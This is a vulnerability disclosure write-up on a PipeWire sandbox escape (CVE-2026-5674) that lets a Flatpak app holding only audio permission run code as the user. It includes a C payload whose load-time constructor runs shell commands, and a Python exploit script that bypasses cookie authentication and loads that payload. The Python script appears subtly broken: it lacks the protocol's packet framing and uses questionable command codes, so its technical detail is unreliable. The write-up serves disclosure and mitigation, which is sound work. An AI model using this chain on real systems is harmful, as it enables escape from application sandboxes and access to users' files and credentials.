How a Simple "Hello World" Flatpak App Escapes the PipeWire Sandbox to Execute Arbitrary Code

Vulnerability Overview

In April 2026 security researcher Johann Reh discovered a high‑severity (CVSS 8.8) sandbox‑escape vulnerability in PipeWire (CVE‑2026‑5674). The flaw allows a Flatpak application that only requests the --socket=pulseaudio permission to gain full user‑level code execution.

Technical Background

PipeWire is the default audio server on modern Linux desktops (Fedora, Ubuntu 24.04+, Debian 13) and provides a PulseAudio compatibility layer. Flatpak isolates applications and grants permissions such as audio access via the --socket=pulseaudio flag.

Root Cause: Three Independent Issues

Cookie authentication bypass

PulseAudio uses a 256‑byte random cookie stored at ~/.config/pulse/cookie. PipeWire reads the client cookie, checks only its length, then sets client->authenticated = true without comparing it to the server‑side cookie.

if (len != NATIVE_COOKIE_LENGTH)
    return -EINVAL;
client->version = version;
client->authenticated = true;  // cookie never compared

Module loading enabled by default

The configuration key pulse.allow-module-loading was added in May 2024 with a default value of "true". Any authenticated client can send a LOAD_MODULE command to load arbitrary PipeWire modules.

#define DEFAULT_ALLOW_MODULE_LOADING "true"

dlopen() path unrestricted

The module‑ladspa‑sink module accepts a plugin= parameter and calls dlopen(path, RTLD_NOW) without validating the path or enforcing a whitelist, allowing any shared object to be loaded and its constructor to run immediately.

handle = dlopen(path, RTLD_NOW);

Sandbox Escape Attack Chain

Preconditions

A Flatpak app must have the --socket=pulseaudio permission and a writable host path (e.g., --filesystem=/tmp).

Exploit Steps

1. Write malicious .so to a host‑visible path (e.g., /tmp/payload.so)
2. Connect to the PulseAudio socket
3. Send PA_COMMAND_AUTH with 256 bytes of garbage
4. Send PA_COMMAND_LOAD_MODULE with plugin=/tmp/payload.so
5. PipeWire calls dlopen() outside the sandbox
6. The shared object's constructor executes, writing a proof file to $HOME and launching gnome‑calculator

Proof of Concept

Johann Reh built a Flatpak app net.wuzzi.Hello that declares only pulseaudio and temporary‑directory access. Running the app shows a harmless "Hello World" message, then writes ~/PIPEWIRE_RCE_PROOF.txt and launches the calculator.

$ flatpak info --show-permissions net.wuzzi.Hello
pulseaudio
file access [/tmp/wuzzi:create]

$ flatpak run net.wuzzi.Hello
=================================
 Hello World from Flatpak!
 This app only has PulseAudio permission. Nothing else.
=================================
Hello, World!
Enjoy your day! :)

$ cat ~/PIPEWIRE_RCE_PROOF.txt
=== FLATPAK SANDBOX ESCAPE ===
PipeWire RCE achieved from sandboxed Flatpak app
This file was written to your HOME directory by PipeWire (outside the sandbox).
The Flatpak app had NO home directory access.
The app also launches gnome-calculator on the host desktop.

A negative test removing --socket=pulseaudio fails, confirming the exploit relies on the audio socket.

Malicious Shared Object

// /tmp/payload.c
// Compile: gcc -shared -fPIC -o /tmp/payload.so payload.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void init(void) {
    system("echo '=== FLATPAK SANDBOX ESCAPE ===' > ~/PIPEWIRE_RCE_PROOF.txt");
    system("echo 'PipeWire RCE achieved from sandboxed Flatpak app' >> ~/PIPEWIRE_RCE_PROOF.txt");
    system("echo 'This file was written to your HOME directory by PipeWire (outside the sandbox).' >> ~/PIPEWIRE_RCE_PROOF.txt");
    system("gnome-calculator &");
}

Exploit Script (Python)

#!/usr/bin/env python3
"""PipeWire Flatpak sandbox escape script
CVE-2026-5674 (CVSS 8.8)"""
import socket, struct, os

PULSE_SOCKET = "/run/user/{}/pulse/native".format(os.getuid())
COOKIE_LENGTH = 256

def build_auth_command(garbage_cookie=b'\x00' * COOKIE_LENGTH):
    payload = struct.pack('<I', 0x0001)   # PA_COMMAND_AUTH
    payload += struct.pack('<I', 0x0011) # PA_PROTOCOL_VERSION
    payload += garbage_cookie
    return payload

def build_load_module_command(plugin_path):
    payload = struct.pack('<I', 0x0015)   # PA_COMMAND_LOAD_MODULE
    payload += struct.pack('<I', 0)      # client index
    payload += struct.pack('<I', 0)      # channel
    module_name = b"module-ladspa-sink"
    payload += struct.pack('<I', len(module_name)) + module_name
    arg = f"plugin={plugin_path}".encode()
    payload += struct.pack('<I', len(arg)) + arg
    payload += struct.pack('<I', 0)      # module index
    return payload

def exploit():
    sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    sock.connect(PULSE_SOCKET)
    sock.send(build_auth_command())
    sock.send(build_load_module_command("/tmp/payload.so"))
    sock.close()

if __name__ == "__main__":
    exploit()

Impact

Affected Flatpak Applications

Any Flatpak app that requests the PulseAudio socket and a writable host path (e.g., Discord with --socket=pulseaudio and --filesystem=xdg-download) can be exploited.

Container Scenarios

The same chain works in Docker containers that mount the PulseAudio socket, a common configuration for containerized audio.

Attacker Capabilities

Before escape: play audio only (inside sandbox).

After escape: read user files, launch desktop applications, access credentials. PipeWire runs as a user‑level service, so the attack escalates to full user context, not to root.

Mitigations

Verify the client cookie against ~/.config/pulse/cookie (restore original PulseAudio behavior).

Disable module loading by default: set #define DEFAULT_ALLOW_MODULE_LOADING "false".

Restrict LADSPA plugin paths to /usr/lib/ladspa/ and /usr/lib64/ladspa/; reject absolute paths not in the allowlist.

Update systems with patched PipeWire (e.g., RHEL 10 RHSA‑2026:47083) and remove unnecessary --socket=pulseaudio permissions from applications.

Disclosure Timeline

2026‑04‑03: discovered via Claude Code on PipeWire 1.0.5.

2026‑04‑04: reproduced on Debian 13 (aarch64).

2026‑04‑05: PoC confirmed on Ubuntu 24.04 (x86_64) and Debian 13 (aarch64).

2026‑04‑05: reported to Red Hat Product Security; CVE‑2026‑5674 assigned.

2026‑04‑06: initial hardening patch landed in PipeWire repository.

2026‑07‑28: RHEL 10 patch released (RHSA‑2026:47083).

Similar Vulnerability

The third issue (unrestricted dlopen) mirrors the flaw in FFmpeg’s LADSPA loader (CVE‑2025‑60616): no path validation, ELF constructors run on dlopen, enabling remote code execution.

Conclusion

CVE‑2026‑5674 combines three independent defects—failed cookie authentication, default‑enabled module loading, and unrestricted dlopen() paths—to turn a Flatpak app with only audio permission into a full‑user‑context code executor. The findings highlight the importance of strict authentication in compatibility layers, safe default configurations, and whitelist‑based dynamic library loading.

References

Original research: "Escaping Linux Sandboxes via PipeWire (CVE‑2026‑5674)" by Johann Reh.

PipeWire GitLab repository.

Red Hat security advisory RHSA‑2026:47083.

Flatpak sandbox permission documentation.

CVE‑2026‑5674 official record.

CVE‑2025‑60616 (FFmpeg LADSPA dlopen()).